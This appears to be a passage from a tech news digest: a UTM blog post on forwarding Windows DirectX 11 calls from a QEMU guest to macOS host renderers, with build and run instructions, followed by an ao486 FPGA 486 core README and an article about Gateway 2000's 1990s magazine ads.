VirtualBox has the only working open source DirectX 11 UMD. However, this driver cannot really be “adopted” for our use. The way their driver works is that they translate the DDI calls into an intermediate bytecode and then on the host side, they interpret the bytecode into DirectX API calls. While it would be easy (with AI help) to just port this bytecode emitter and interpreter into QEMU, we decided against it for a couple of reasons. First, we think this conversion of DDI into a bytecode and then lifting that bytecode back to DirectX API can result in bugs that limit compatibility with games. Indeed, reading forum threads online, it seems like many games do not run in VirtualBox for this reason. If there is a missing feature or bug in the translation engine, it would require a lot of active maintenance effort to fix and we do not want to depend on Oracle for that. Second, there is a licence incompatibility between VirtualBox’s GPLv3 and virglrenderer’s MIT License or QEMU’s LGPLv2. VirtualBox’s code can’t be integrated but we did learn some valuable insight from it. Their list of which DDI prototypes were implemented and which ones returned error is used as the minimal requirements for a working implementation. This information isn’t readily available from MSDN documentation and trying to implement every single prototype would be massive in scope. Their DXBC signature algorithm is also helpful to understand because Microsoft does not publish it anywhere.

Since we didn’t want to take the VirtualBox approach of using an intermediate transport format for DDI calls, we can do something better. If you imagine d3d11.dll as a component that roughly transforms DirectX API calls into UMD DDI calls, then what we want our UMD to do is to transform the DDI call back to DirectX API calls. Why is this useful? Because then we can use our tested and working Neptune protocol without having to invent a new transport for serializing DDI calls. On the host side, we do not have to do any extra work to execute those calls. VirtualBox needs an emitter and transport layer on the guest as well as an interpreter and dispatcher on the host. Each step adds latency and the chance to introduce errors and incompatibility. We still need an emitter and transport on the guest but on the host side we do not need an interpreter because the deserialized Neptune commands ARE DirectX 11 API calls and can be dispatched without any additional parsing. One less transform step means less opportunity for mistakes. Another advantage of a DDI→API transform is that most DDI calls in D3D11 have an API equivalent meaning that the transform is as simple as mapping some API handles to device handles and sometimes doing a lookup for API→DDI enum differences. The biggest win however, also turns out to be the most complicated part of the story, which is the DXBC shader code.

DXBC

DXBC (DirectX Byte Code) is the IR code that Microsoft’s shader compiler (FXC) emits. Specifically, it is the older (pre-DirectX 12) format and is compiled from HLSL, the shader language that DirectX uses. Since Triton acts as a reverse transform from DDI to API, it does not need to disassemble and convert this shader bytecode. This is a huge win for us in terms of complexity and compatibility. Unfortunately, it is not as simple as passing the bytecode unmodified to the host.

The compiler (FXC) emits the DXBC bytecode along with other metadata. d3d11.dll expects to see this metadata and consumes it. When the DDI is called, only the bytecode is passed. That means for us to make a valid “inverse transform” back to the API call, we need to re-construct all that metadata by interpreting the bytecode. In the end we still pass through the bytecode unmodified but since we don’t see the original DXContainer file, we have to synthesize fields that the host DirectX renderer expects. This was a lot of trial and error that the AI assistant handled but it is the weakest and most error prone part of our implementation.

Host Renderer

Here’s what we have so far:

  1. Application makes DirectX and DXGI API calls to the system libraries.
  2. System libraries invoke Triton through DDI calls.
  3. Triton DDI converts raw DXBC bytecode back into DXContainer and makes DirectX and DXGI API calls to Neptune.
  4. Neptune UMD serializes the API calls and passes them through a ring buffer managed by the KMD.
  5. KMD uses the VirtIO interface to send commands to the host.
  6. QEMU host handles the command and passes Neptune calls to virglrenderer.
  7. Neptune host module in virglrenderer deserializes the API calls and forwards them to the host side DirectX implementation.
  8. Host DirectX implementation renders the frame.

Let’s zoom in on the last point. Once the DirectX API calls make it to the host, we still need to render it. When we brought up Neptune for Wine on Linux, we forked DXVK to support exporting the swapchain images as DMAbuf resources. At the time, we decided to implement the swapchain on the host side in order to sidestep the issue of shared textures. Internally, swapchain images are represented as textures but these textures are special in that the host needs to be able to find them and use them to show the final frame on screen. Our Wine DXGI library forwards all the swapchain API calls directly to the host and therefore the host “knows” which textures will be used as a backbuffer. Then separate VirGL commands can be used to scan out the texture blob to the VM window. This trades simplicity in the guest driver and minimal changes in DXVK for the complexity of swapchain logic in the host virglrenderer process.

When bringing up Triton, we realized that host side swapchain handling was a mistake. On Windows, DXGI is a system component which talks to the UMD. DXGI handles the backbuffer creation, frame pacing, mode switching, etc. The UMD (mostly) doesn’t give special treatment to DXGI and so our method of doing an “inverse transform” of DDI calls back to API calls does not really work with DXGI. That means all the swapchain logic we added to the host side is largely bypassed. The desktop compositor (DWM) operates on shared textures. One process’s DXGI renders content to its own backbuffer and that backbuffer is shared with the DWM process which draws the desktop, window chrome, etc. The final frame that DWM constructs is set for scan out. This means that in addition to DMAbuf exports, we also need to implement DMAbuf imports in DXVK as well (separate guest contexts map to separate host contexts). Once we have both import and export implemented, there is no need for host side swapchain logic anymore and so to make the Wine driver more unified, we moved all the swapchain logic into the guest Neptune driver. An added benefit of this move is that it more closely tracks with how Venus is designed and so virglrenderer is kept clean.

Screenshot of Windows running on QEMU on Ubuntu host

Windows DWM compositing working with DXVK shared textures on QEMU KVM running on Ubuntu

macOS

There’s some challenge in getting virglrenderer working on macOS but since Venus now runs in macOS, most of the backend challenges have been fleshed out. The remaining task is to connect Neptune to a host side DirectX renderer. There are three major projects that can handle the goal of DirectX on macOS. However, they all been designed with running Wine as the main target. They lack the shared textures and shared fences features that Neptune and Triton requires.

DXVK + MoltenVK

DXVK is the project we used on Linux hosts. It translates D3D11 API to Vulkan API and then uses the host Vulkan driver to do the rendering. On Linux, this works great because Vulkan is a first class citizen and all modern graphics hardware have a good Vulkan driver at this point. On macOS though, Vulkan is handled by another translation layer, MoltenVK, which translates Vulkan API to Metal API. In the last post, we talked about the unique challenge of getting DXVK + MoltenVK working and the short version is: it is unstable and requires a lot more work for compatibility.

Crash Bandicoot running on patched MoltenVK + Venus

Crash Bandicoot running on patched MoltenVK + Venus + DXVK (guest)

DXMT

DXMT sidesteps the Vulkan issue by translating D3D11 directly to Metal (with D3D12 coming soon). Just like DXVK, the project is designed primarily with Wine in mind so the first step was to implement a native variant of the library. With our fork, DXMT can be built as a macOS shared library and exposes some additional exports for import/export of textures and fences.

Screenshot of FireStrike result with DXMT backend

FireStrike (x64) for Windows 11 ARM64 running on macOS host with DXMT backend

Shared Textures

One major hurdle in the design of dxmt-native is in the implementation of shared textures that can cross the process boundary. We need to cross the process boundary because virglrenderer spawns helper processes for each renderer context so roughly every guest D3D context corresponds to a separate virgl_render_server process. This strict process isolation allows a renderer to crash without taking down the entire VM. Now, we can force the older thread based isolation model and use standard MTLTexture handles across renderer context boundary (and we will have to for the eventual iOS port), but upstream maintainers do not want to support this. Sharing Metal resources across processes can be tricky but there are a few “well supported” way of doing it.

  1. MTLSharedTextureHandle + XPC: This is the Apple preferred way but it requires bringing in XPC which is its own can of worms. Both QEMU and virglrenderer use file descriptors and SCM_RIGHTS to pass handles between processes but MTLSharedTextureHandle does not support this. For the best performance though, we should eventually adopt this across virglrenderer, QEMU, and SPICE but for this initial bringup, we want to not make major architectural changes across projects.
  2. IOSurface: You can render to an IOSurface and share the global handle with any other process. This is how we implement the accelerated rendering on UTM but it is using technology long deprecated by Apple. You also need to pay the penalty of an additional GPU blit into the IOSurface and that also means having to set up a render pipeline in virglrenderer which adds complexity.
  3. CALayerHost: A private API that is used by Chrome and other older macOS apps where rendering is done in a separate process. This is strictly worse than IOSurface in terms of latency (CoreAnimation is higher up the graphics stack) and the reverse (going from CALayer back to MTLTexture) is even more complicated. This technique may work for offline rendering but will not work for shared textures that must be composited.

None of these give us a good way to share textures across different processes using SCM_RIGHTS but a new idea was brought up (during the Venus discussion) by @Drakulix (who was working on bringing Wayland to macOS). Their idea is to use shm_open() to create a shared memory object (which can be represented as a file descriptor that works across SCM_RIGHTS) and then map it to a MTLBuffer using newBufferWithBytesNoCopy:length:options:deallocator:. That gives us a single memory region that can be seen by the CPU and GPU and you can repeat this in the other process as well. All of this works in Apple Silicon because of UMA (Unified Memory Architecture) meaning that CPU and GPU share a single physical address space. The only downside is that you can only do this with linear textures which is not memory efficient. However, as long as the number of shared textures is small, this should not be an issue.

Shared Fences

Sharing textures between different contexts in different processes is one half of the equation. The other half is synchronization. When you have producer process A drawing to a shared texture and consumer process B compositing all the shared textures into the final scanout image, you will run into tearing if A is in middle of drawing when B starts compositing. To prevent this, you need fences which allows process A to block while B is drawing and B to block while A is drawing. To make matters more complicated, you need GPU fences because the GPU executes asynchronously to the CPU. Ideally, B’s GPU process can consume A’s GPU fence without any polling by A’s CPU process. The only way to achieve this is to use MTLSharedEventHandle which requires XPC. However, we can get most of the way there with emulated fences by relying on two facts.

  1. Most of our shared fence events happen at frame completion boundaries. That means the added latency of a CPU side wait is limited to one fence per completed frame.
  2. The fence event producer can execute on the GPU while the fence consumer must wait on the CPU. That means we only need to waste CPU cycles on one side.

The way our emulated fence works is as follows: the producer calls ID3D11DeviceContext::ClearUnorderedAccessViewUint with an address in a shared memory buffer mapped by the consumer process. This API call lets us write an arbitrary integer to shared memory and we use it to write a timeline value. The write is done by the GPU so it is ordered with A’s other draw calls meaning that when the timeline value write occurs in the GPU, we know that all the draws are complete. The consumer must poll on the shared memory (this must be done on the CPU because there is no memory value polling instruction on Apple GPUs). Once it sees the updated timeline value, it knows the draws are complete and that it is safe to consume the texture. The consumer CPU cannot queue its draw calls until it sees the fence event and therefore there is introduced latency while the GPU is potentially idle waiting for the next submission.

D3DMetal

The last DirectX API implementation for macOS is made by Apple for the Game Porting Toolkit. Originally designed for developers to test their Windows game on Apple Silicon, the GPT includes D3DMetal.framework, an implementation of D3D11 and D3D12 on top of Metal as well as a transpiler from DXBC/DXIL (Microsoft’s proprietary GPU shader bytecode format) to AIR (Apple’s proprietary GPU shader bytecode format). Just like DXMT, it is designed to work with Wine. Just like DXMT, it does not support shared textures or shared fences so we need to emulate them in the same way. However, unlike DXMT, it is not open source so we need to use swizzling and vtable patching to intercept API calls and change the output.

That is what we have done with d3dmetal-native. It is a wrapper around D3DMetal.framework that allows it to work outside of Wine and support these additional features. Since we designed the API interface to be compatible with DXMT, we can easily switch between the two interfaces in virglrenderer. The result is a significant improvement in performance over DXMT.

Screenshot of FireStrike result with D3DMetal backend

FireStrike (x64) for Windows 11 ARM64 running on macOS host with D3DMetal backend (Rosetta)

Note that since D3DMetal only has an x86_64 slice (as it was intended for use with Rosetta + Wine), we have to run the entire virgl_render_server process in Rosetta. Even then it still outperforms DXMT running on native ARM64.

Unfortunately, D3DMetal’s licence terms explicitly prohibits usage outside of the “sole purpose of developing, testing, or evaluating video games for use on Apple-branded products” and that it can only be distributed “solely for non-commercial purposes.” That means we cannot include D3DMetal as part of a bundled application. Curiously, CrossOver, a commercial Wine distribution, does bundle D3DMetal and I was told that they have a special agreement with Apple in order to do this. If anyone is familiar with this arrangement, please contact us because we would love to include D3DMetal in UTM due to the improvement in performance.

Try it out

All the work described here is open source so if you like tinkering, you can try it out and give us your feedback. We are actively working to upstream as much of these changes as possible and we will update UTM soon to support these features so anyone can try it without having to compile multiple projects.

Hint: Point your AI to this page and ask it to set it up for you.

Code

Building (macOS)

These build instructions are specific for macOS. The build instructions for Linux are largely unchanged from the previous post.

Everything installs into one staging prefix, and the pieces find each other through that prefix’s pkgconfig directory, so set these first and keep them for the whole session:

export SRC=/path/to/checkouts       # where the git repositories live
export PREFIX=/path/to/prefix       # staging install root: bin/ lib/ libexec/ share/
export ANGLE_INC="$SRC/WebKit/Source/ThirdParty/ANGLE/include"
export ANGLE_LIB="$PREFIX/ANGLE.xcarchive/Products/usr/local/lib"

You will need Xcode (with the Metal toolchain) and the command line tools, Meson 1.3+, Ninja, pkg-config, CMake, and an LLVM 15 installation (exact major version, with headers and static libraries) for DXMT.

ANGLE and libepoxy

QEMU’s -display cocoa,gl=es path and virglrenderer’s GL backend go through ANGLE-on-Metal, which the WebKit tree builds, plus a libepoxy that dispatches to it. This is unchanged from the Venus work but it is a prerequisite for everything else.

git clone --filter=tree:0 --no-checkout https://github.com/utmapp/WebKit.git "$SRC/WebKit"
git -C "$SRC/WebKit" sparse-checkout init
git -C "$SRC/WebKit" sparse-checkout set Source/ThirdParty/ANGLE Configurations Tools/ccache
git -C "$SRC/WebKit" checkout 6a7f464047e2f6f2b65fe315aaad5d1ff3229cb7
cd "$SRC/WebKit/Source/ThirdParty/ANGLE"
xcodebuild archive \
  -archivePath "$PREFIX/ANGLE" \
  -scheme ANGLE \
  -sdk macosx \
  -arch arm64 \
  -configuration Release \
  WEBCORE_LIBRARY_DIR=/usr/local/lib \
  NORMAL_UMBRELLA_FRAMEWORKS_DIR="" \
  CODE_SIGNING_ALLOWED=NO \
  MACOSX_DEPLOYMENT_TARGET=11.0
git clone -b macos-venus https://github.com/utmapp/libepoxy.git "$SRC/libepoxy"
meson setup "$SRC/libepoxy/build" "$SRC/libepoxy" \
  "-Dc_args=-I$ANGLE_INC" \
  -Degl=yes \
  -Dx11=false \
  "--prefix=$PREFIX"
meson install -C "$SRC/libepoxy/build"

DXMT

DXMT builds as a Wine cross build by default; passing no cross file gives the native build, which links every module into a single libdxmt-native.dylib exporting the D3D11/DXGI entry points plus the embedder API (Win32-style events and shared textures) that the Neptune render server uses.

export LLVM15=/path/to/llvm@15   # arm64 LLVM 15 install root
git clone https://github.com/utmapp/dxmt.git "$SRC/dxmt"
cd "$SRC/dxmt"
meson setup build-native \
  "-Dnative_llvm_path=$LLVM15" \
  --buildtype=release \
  "--prefix=$PREFIX"
meson install -C build-native

Homebrew’s llvm@15 works for $LLVM15; DXMT’s docs/DEVELOPMENT.md also documents building it from source.

d3dmetal-native

D3DMetal.framework ships as x86_64 only, so this library — and every process that loads it — must be x86_64. The cross file that selects -arch x86_64 is in the repository, and Rosetta 2 runs the results (including the test suite) transparently.

git clone https://github.com/utmapp/d3dmetal-native.git "$SRC/d3dmetal-native"
cd "$SRC/d3dmetal-native"
meson setup build \
  --cross-file build-macos-x86_64.txt \
  -Dtests=disabled \
  "--prefix=$PREFIX"
meson install -C build

The framework itself is not bundled: get it from Apple’s Game Porting Toolkit and point the library at it at runtime with D3DMETAL_FRAMEWORK_PATH (or compile in a fallback with -Ddev_framework_path=...). If macOS quarantines it, xattr -dr com.apple.quarantine D3DMetal.framework.

virglrenderer

This is the interesting one, because a single QEMU process has to drive a native arm64 library and a render server that runs as either architecture. It is two Meson configurations of the same source tree:

  1. Native arm64 — produces both the libvirglrenderer that QEMU links and a render server hosting Venus and the Neptune DXMT backend. This is the only configuration that gets installed.
  2. x86_64 cross build — the same render server for the Neptune D3DMetal backend, which has to be x86_64 because the framework is. It links virglrenderer statically and is never installed.

The two servers are then fused with lipo into one universal binary. At runtime the parent process picks a worker’s slice per context — Venus contexts get the arm64 slice, Neptune contexts get x86_64/D3DMetal under Rosetta by default or arm64/DXMT with NPT_BACKEND=dxmt — so there is only one render server path to configure, and it is the one baked in at build time.

git clone -b macos-next https://github.com/utmapp/virglrenderer.git "$SRC/virglrenderer"

1. Native arm64 (library + render server).

meson setup "$SRC/virglrenderer/build-arm64" "$SRC/virglrenderer" \
  "-Dc_args=-I$ANGLE_INC" \
  -Dvenus=true \
  -Dneptune=true \
  -Drender-server-worker=process \
  -Dcheck-gl-errors=false \
  "--pkg-config-path=$PREFIX/lib/pkgconfig" \
  "--prefix=$PREFIX"
meson install -C "$SRC/virglrenderer/build-arm64"
cp "$PREFIX/libexec/virgl_render_server" "$SRC/virglrenderer/virgl_render_server.arm64"

Stash the installed server, not the one in the build tree: only the installed copy carries the install_name‘d path to $PREFIX/lib/libvirglrenderer.1.dylib, and lipo is about to write over it.

2. Rosetta x86_64 render server. This one cross-compiles with the cross file from the d3dmetal-native repository. -Ddefault_library=static links virglrenderer into the server so the fused binary needs no x86_64 dylib, and -Dvtest=false drops the only target that pulls in GL — libepoxy in the prefix is arm64 only. For the same reason the x86_64 configuration must not try to use EGL, so give it its own pkg-config directory with EGL turned off:

cp -R "$PREFIX/lib/pkgconfig" "$PREFIX/lib/pkgconfig-x86_64"
sed -i '' 's/epoxy_has_egl=1/epoxy_has_egl=0/' "$PREFIX/lib/pkgconfig-x86_64/epoxy.pc"
meson setup "$SRC/virglrenderer/build-x86_64" "$SRC/virglrenderer" \
  --cross-file "$SRC/d3dmetal-native/build-macos-x86_64.txt" \
  "-Dc_args=-I$ANGLE_INC" \
  -Dvenus=false \
  -Dneptune=true \
  -Dvtest=false \
  -Drender-server-worker=process \
  -Dcheck-gl-errors=false \
  -Ddefault_library=static \
  "--pkg-config-path=$PREFIX/lib/pkgconfig-x86_64" \
  "--prefix=$PREFIX"
meson compile -C "$SRC/virglrenderer/build-x86_64"

Compile only — installing this configuration would overwrite the native library from step 1.

3. Fuse the two slices.

lipo -create \
  "$SRC/virglrenderer/virgl_render_server.arm64" \
  "$SRC/virglrenderer/build-x86_64/server/virgl_render_server" \
  -output "$PREFIX/libexec/virgl_render_server"
lipo -archs "$PREFIX/libexec/virgl_render_server"   # must print: x86_64 arm64

Neither backend is linked: the render server dlopens libdxmt-native.dylib on the arm64 slice and libd3dmetal-native.dylib on the x86_64 slice, by name, so both must be reachable through the dynamic loader path at run time (see Running). Neither is a build dependency either — a missing one costs you that backend at run time and nothing more.

QEMU

Nothing Neptune-specific has to be enabled at configure time — virglrenderer is picked up through pkg-config, so point PKG_CONFIG_PATH at the prefix you just installed it into:

git clone -b utm-edition https://github.com/utmapp/qemu.git "$SRC/qemu"
mkdir -p "$SRC/qemu/build" && cd "$SRC/qemu/build"
PKG_CONFIG_PATH="$PREFIX/lib/pkgconfig" ../configure \
  "--extra-cflags=-I$ANGLE_INC" \
  "--extra-ldflags=-L$ANGLE_LIB" \
  "--prefix=$PREFIX" \
  --target-list=aarch64-softmmu
make -j"$(getconf _NPROCESSORS_ONLN)" install

The configure summary should report virglrenderer: YES and Cocoa: YES; if virglrenderer is missing, the -device virtio-gpu-gl-pci line below will fail with an unknown device. make install also puts the UEFI firmware in $PREFIX/share/qemu; make the VM its own writable copy of the variable store from pc-bios/edk2-arm-vars.fd in the build directory.

Building (Windows drivers)

You need a Windows machine (or VM) to build the Windows drivers. Full instructions are here and you may want to use build-mesa for the UMD which simplifies the build process. If you just want to test the driver, we have pre-built signed drivers available. Note these drivers are still very unstable and you should not install them on any VM that you care about!

Running

You need a Windows ARM64 guest (you can find instructions to build an image elsewhere or you can use UTM and copy the disk image). sudo is only needed for bridged (vmnet) networking — with user networking QEMU runs fine unprivileged.

export VM=/path/to/vm                    # disk image + EFI variable store
export D3DMETAL=/path/to/D3DMetal.framework
D3DMETAL_FRAMEWORK_PATH="$D3DMETAL" \
DYLD_FALLBACK_LIBRARY_PATH="$PREFIX/lib:$ANGLE_LIB" \
ANGLE_DEFAULT_PLATFORM=metal \
VIRGL_LOG_LEVEL=debug \
"$PREFIX/bin/qemu-system-aarch64" \
  -machine virt \
  -accel hvf,ipa-granule-size=0x1000 \
  -cpu host \
  -smp cpus=4,sockets=1,cores=4,threads=1 \
  -m 4096 \
  -nodefaults \
  -vga none \
  -device virtio-ramfb-gl,hostmem=8G,blob=true,venus=true,neptune=true \
  -display cocoa,gl=es \
  -drive if=pflash,format=raw,unit=0,file.filename="$PREFIX/share/qemu/edk2-aarch64-code.fd",readonly=on \
  -drive if=pflash,unit=1,file.filename="$VM/efi_vars.fd" \
  -device nvme,drive=disk,serial=disk,bootindex=1 \
  -drive if=none,media=disk,id=disk,file.filename="$VM/windows.qcow2",discard=unmap,detect-zeroes=unmap \
  -device nec-usb-xhci,id=usb-bus \
  -device usb-tablet,bus=usb-bus.0 \
  -device usb-kbd,bus=usb-bus.0 \
  -device virtio-net-pci,netdev=net0 \
  -netdev user,id=net0,hostfwd=tcp::2222-:22

The arguments that matter for graphics:

  • -device virtio-ramfb-gl,hostmem=8G,blob=true,venus=true,neptune=trueneptune=true advertises the Neptune capset (venus=true additionally advertises Venus for guest Vulkan). blob=true plus a hostmem window is required.
  • -accel hvf,ipa-granule-size=0x1000 — HVF maps guest memory at this granularity. The 4KiB pages are required by Venus and optional for Neptune.
  • -display cocoa,gl=es — the Cocoa window scans out through ANGLE/Metal until Triton’s scanout blob engages.
  • virtio-ramfb-gl is a device that only exists in the UTM fork of QEMU and presents Windows with a POST display that can be used before any drivers are installed. If you are porting this to vanilla QEMU, you can use ramfb, install the drivers, then change to virtio-gpu-gl-pci and reboot.

Environment variables

Variable Effect
DYLD_FALLBACK_LIBRARY_PATH How QEMU finds libvirglrenderer, and how the render server finds libdxmt-native.dylib / libd3dmetal-native.dylib — both are dlopened by plain name, so the prefix’s lib directory must be on this path.
RENDER_SERVER_EXEC_PATH Overrides the render server binary; defaults to the libexec path baked in at build time.
NPT_BACKEND d3dmetal (default) or dxmt. This selects which slice of the universal render server a Neptune worker is spawned as: x86_64 under Rosetta for D3DMetal, native arm64 for DXMT.
D3DMETAL_FRAMEWORK_PATH Where libd3dmetal-native.dylib looks for D3DMetal.framework. Without it, it searches next to the dylib and in a sibling Frameworks directory.
NPT_D3D11_LIBRARY_PATH, NPT_DXGI_LIBRARY_PATH, NPT_D3D12_LIBRARY_PATH Override the backend dylib loaded for each D3D interface. Useful to point at a build tree instead of the installed copy.
NPT_WA_FLAGS Bitmask forcing the host-side workaround set (shader signature synthesis and friends). NPT_WA_FLAGS=0 disables all of them to see raw backend behavior.
VIRGL_LOG_LEVEL / VIRGL_LOG_FILE Host renderer logging. debug is what surfaces the npt: lines from the Neptune host module; they go to QEMU’s stdout unless a log file is set.
DMN_LOG, DXMT_LOG_LEVEL Per-backend logging for d3dmetal-native and DXMT respectively.
VK_DRIVER_FILES MoltenVK ICD, only needed if you also want Venus (guest Vulkan) working alongside Triton.
The Daily Front Page 17 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The 486 Rebuilt
repository

ao486: x86-compatible Verilog core implementing all features of a 486 SX (2014)

by csmantle·▲ 69 points·9 comments·github.com ↗
★ 463⑂ 87 forks C

The ao486 is an x86 compatible Verilog core implementing all features of a 486 SX.

The ao486 is an x86 compatible Verilog core implementing all features of a 486 SX. The core was modeled and tested based on the Bochs software x86 implementation. Together with the 486 core, the ao486 project also contains a SoC capable of booting the Linux kernel version 3.13 and Microsoft Windows 95.

Current status

  • 31 March 2014 - initial version 1.0.
  • 19 August 2014 - driver_sd update, ps2 fix.

Features

The ao486 processor model has the following features:

  • pipeline architecture with 4 main stages: decode, read, execute and write,
  • all 486 instructions are implemented, together with CPUID,
  • 16 kB instruction cache,
  • 16 kB write-back data cache,
  • TLB for 32 entries,
  • Altera Avalon interfaces for memory and io access.

The ao486 SoC consists of the following components:

  • ao486 processor,
  • IDE hard drive that redirects to a HDL SD card driver,
  • floppy controller that also redirects to the SD card driver,
  • 8259 PIC,
  • 8237 DMA,
  • Sound Blaster 2.0 with DSP and OPL2 (FM synthesis not fully working). Sound output redirected to a WM8731 audio codec,
  • 8254 PIT,
  • 8042 keyboard and mouse controller,
  • RTC
  • standard VGA.

All components are modeled as Altera Qsys components. Altera Qsys connects all parts together, and supplies the SDRAM controller.

The ao486 project is currently only running on the Terasic DE2-115 board.

Resource usage

The project is synthesised for the Altera Cyclone IV E EP4CE115F29C7 device. Resource utilization is as follows:

Unit Logic cells M9K memory blocks ao486 processor 36517 47 floppy 1514 2 hdd 2071 17 nios2 1056 3 onchip for nios2 0 32 pc_dma 848 0 pic 388 0 pit 667 0 ps2 742 2 rtc 783 1 sound 37131 29 vga 2534 260

The fitter raport after compiling all components of the ao486 project is as follows:

Fitter Status : Successful - Sun Mar 30 21:00:13 2014
Quartus II 64-Bit Version : 13.1.0 Build 162 10/23/2013 SJ Web Edition
Revision Name : soc
Top-level Entity Name : soc
Family : Cyclone IV E
Device : EP4CE115F29C7
Timing Models : Final
Total logic elements : 91,256 / 114,480 ( 80 % )
    Total combinational functions : 86,811 / 114,480 ( 76 % )
    Dedicated logic registers : 26,746 / 114,480 ( 23 % )
Total registers : 26865
Total pins : 108 / 529 ( 20 % )
Total virtual pins : 0
Total memory bits : 2,993,408 / 3,981,312 ( 75 % )
Embedded Multiplier 9-bit elements : 44 / 532 ( 8 % )
Total PLLs : 1 / 4 ( 25 % )

The maximum frequency is 39 MHz. The project uses a 30 MHz clock.

CPU benchmarks

The package DosTests.zip from http://www.roylongbottom.org.uk/dhrystone%20results.htm was used to benchmark the ao486.

Test Result Dhryston 1 Benchmark Non-Optimised 1.00 VAX MIPS Dhryston 1 Benchmark Optimised 4.58 VAX MIPS Dhryston 2 Benchmark Non-Optimised 1.01 VAX MIPS Dhryston 2 Benchmark Optimised 3.84 VAX MIPS

Running software

The ao486 successfuly runs the following software:

  • Microsoft MS-DOS version 6.22,
  • Microsoft Windows for Workgroups 3.11,
  • Microsoft Windows 95,
  • Linux 3.13.1.

BIOS

The ao486 project uses the BIOS from the Bochs project (http://bochs.sourceforge.net, version 2.6.2). Some minor changes were required to support the hard drive.

The VGA BIOS is from the VGABIOS project (http://www.nongnu.org/vgabios, version 0.7a). No changes were required. The VGA model does not have VBE extensions, so the extensions were disabled.

NIOS2 controller

The ao486 SoC uses a Altera NIOS2 processor for managing all components and displaying the contents of the On Screen Display.

The OSD allows the user to insert and remove floppy disks.

License

All files in the following directories:

  • rtl,
  • ao486_tool,
  • sim

are licensed under the BSD license:

All files in the following directories:

  • bochs486,
  • bochsDevs

are taken from the Bochs Project and are licensed under the LGPL license.

The binary file sd/fd_1_44m/fdboot.img is taken from the FreeDOS project.

The binary file sd/bios/bochs_legacy is a compiled BIOS from the Bochs project.

The binary file sd/vgabios/vgabios-lgpl is a compiled VGA BIOS from the vgabios project.

Compiling

To compile the SoC, which contains the NIOS II microcontroller, Altera Quartus II software is required. The Verilog components of the SoC, in particular the ao486 processor, should be possible to compile in any Verilog compiler. Currently synthesis project files are prepared only for Altera Quartus II.

NOTE: In the current version some synthesis project files -- especially the paths in those files, could be broken.

ao486 processor

To compile the ao486 processor load the project file from syn/components/ao486/ao486.qpf.

SoC

To compile the ao486 SoC load the project file from syn/soc/soc.qpf.

Before compiling in Altera Quartus II, the Qsys system must be generated.

BIOS

To compile the BIOS do the following:

  • extract the bochs-2.6.2 source archive,
  • apply the patch from the directory bios/bochs-2.6.2 by running in the extracted directory: patch -p1 < (path to patch file)
  • run ./configure in bochs
  • run make in bochs
  • cd bios
  • make
  • the binary file BIOS-bochs-legacy works with ao486 SoC.

VGABIOS

To compile the VGABIOS do the following:

  • extract the vgabios-0.7a source archive,
  • apply the patch form the directory bios/vgabios-0.7a by running in the extracted directory: patch -p1 < (path to patch file)
  • run make in vgabios,
  • the binary file VGABIOS-lgpl-latest.bin works with ao486 SoC.

Running the SoC on Terasic DE2-115

  • compile the soc Altera Quartus II project in syn/soc/soc.qpf

  • compile the firmware for the NIOS II by:

    • opening the Nios II Software Build Tools for Eclipse,
    • creating a workspace in the directory syn/soc/firmware,
    • importing the two projects 'exe' and 'exe_bsp',
    • genrating BSP on the 'exe_bsp' project,
    • compiling the 'exe' project.
  • compile the BIOS and copy the binary to the directory sd/bios,

  • compile the VGABIOS and copy the binary to the directory sd/vgabios,

  • compile the ao486_tool by running 'ant jar' in the directory ao486_tool,

  • edit the files in the directory sd/hdd. They contain the position of the virtual hard disk located on the SD card. The start entry must be a multiplicity of 512. The values are in bytes from the begining of the SD card,

  • run 'java -cp ./dist/ao486_tool.jar ao486.SDGenerator' in the directory ao486_tool,

  • copy the file ao486_tool/sd.dat to the first sectors of the SD card by using 'dd if=sd.dat of=/dev/sdXXX'.

  • insert the SD card to the Terasic DE2-115 board,

  • program the FPGA using the SOF file,

  • load and run the firmware of the NIOS II controller,

  • select the BIOS file on the On Screen Display by using KEY0 for down, KEY1 for up and KEY2 for select,

  • select the VGABIOS file on the OSD,

  • select the hard drive on the OSD,

  • select the floppy on the OSD. Use the KEYs to select the floppy image. Use KEY3 to cancel.

  • after selecting the floppy or pressing cancel, ao486 boots,

  • to activate the OSD press KEY2.

The Daily Front Page 18 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The Cow-Box Years
article

Gateway 2000's hilariously bad ads in the 90s (Part II)

by rfarley04·▲ 110 points·92 comments·buttondown.com ↗
What started as endearingly bootstrapped marketing descended into soulless corporate sales.

What started as endearingly bootstrapped marketing descended into soulless corporate sales.

A text-heavy magazine advertisement with a picture of a horse in sunglasses wearing a party hat. There are also dozens of "Reasons to party" about computer deals and several hundred words of text.

PC Computing Jul ‘93 via Archive.org

Party hats and sunglasses on animals are the fart jokes of advertising. Somehow lazy and effective, shallow yet infectious, and definitely not too tasteless for Gateway 2000 or its wunderkind president. 

"I've used soap dishes as ashtrays in the best hotels in the world,” Ted Waitt bragged during one of his New York Times interviews, explaining in another article that he picked his 1990 Porsche Carrera-C4 because it was “the only car I could find that would go 160 miles an hour in the snow with the top down." Restraint didn’t rocket him or his company to $1 billion in sales over six short years. And it was never a part of the marketing strategy. 

The 486 Fest spread pictured above was eleven pages long. It had 28 wildly unnecessary “Party Reason” subheadings, more than a dozen barnyard puns, and a photo of all 2,000 Gateway 2000 employees in front of the cow-spotted headquarters in Sioux City. 

“When I worked at PC Magazine in the early 1990s, Gateway 2000 regularly ran 8-to-12-page ad inserts, often featuring cows, cornball jokes, or both,” Lance Ulanoff wrote earlier this year. And that was never more apparent than the months following the company’s eminently unexpected IPO.

A man is dressed as a monk from the dark or middle ages. He is sitting at a desk with two Gateway 2000 laptops on them. The stained glass window in the background depicts a cow in a field and the headline reads "The Good Books."

Byte Nov ‘93 via byte.tsundoku.io

Gateway had opened its first international headquarters in Dublin one month before this ad, selling mail-order computers in Britain (propped up by marketing in local, region-specific magazines), and working on plans to expand into other parts of Europe. 

The “pilgrimage” was not without, uh, trials and tribulations, however, and Waitt’s prayers were not answered (this time, at least. He did go on to fund the expedition that successfully unearthed the Gospel of Judas in the Egyptian desert but I digress). The hope was that an IPO would buoy some of the unexpected costs from crossing the Atlantic. A gamble that minted one of America’s first tech billionaires. 

“Gateway hit the market at $15 a share. It shot up, then dipped and is now double the original trading price,” according to one article two-years post offering. “Forget that Waitt owns only one suit (a bad-fitting one, to boot), typically sports blue jeans and seldom wears socks, when he hit Wall Street, he blew away any notions by investment bankers that they were dealing with a rube.” 

